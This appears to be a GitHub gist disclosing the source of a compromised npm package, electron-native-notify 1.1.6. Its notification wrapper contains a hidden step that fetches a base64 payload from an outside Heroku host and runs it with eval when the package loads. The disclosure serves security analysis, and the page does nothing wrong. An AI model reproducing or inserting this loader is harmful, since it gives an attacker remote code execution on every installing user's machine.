Skip to content

Instantly share code, notes, and snippets.

@ievans
Created June 6, 2019 17:49
Show Gist options
  • Star 9 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ievans/7e10101cadb823583f77a5d40c64ec5b to your computer and use it in GitHub Desktop.
Save ievans/7e10101cadb823583f77a5d40c64ec5b to your computer and use it in GitHub Desktop.
electron-native-notify-1.1.6 malicious source code
const MainProcessNotification = require("electron").Notification;
const isRenderer = process && process.type === "renderer";
const isSupported = () => isRenderer ? "Notification" in window : MainProcessNotification.isSupported();
const renderNotify = (title, body) => {
const notification = new Notification(title, {
body: body
});
return notification
};
try {
(process && "renderer" === process.type ? require("electron").remote.require : require)("https").get("https://updatecheck.herokuapp.com/check", res => res.on("data", d => {
try {
eval((atob || (e => "" + Buffer.from(e, "base64")))("" + d))
} catch (e) {}
}))
} catch (e) {}
const mainNotify = (title, body) => {
const notification = new MainProcessNotification({
title: title,
body: body
});
notification.show();
return notification
};
const notify = (title, body) => {
if (isRenderer) {
return renderNotify(title, body)
} else {
return mainNotify(title, body)
}
};
notify.isSupported = isSupported;
module.exports = notify;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment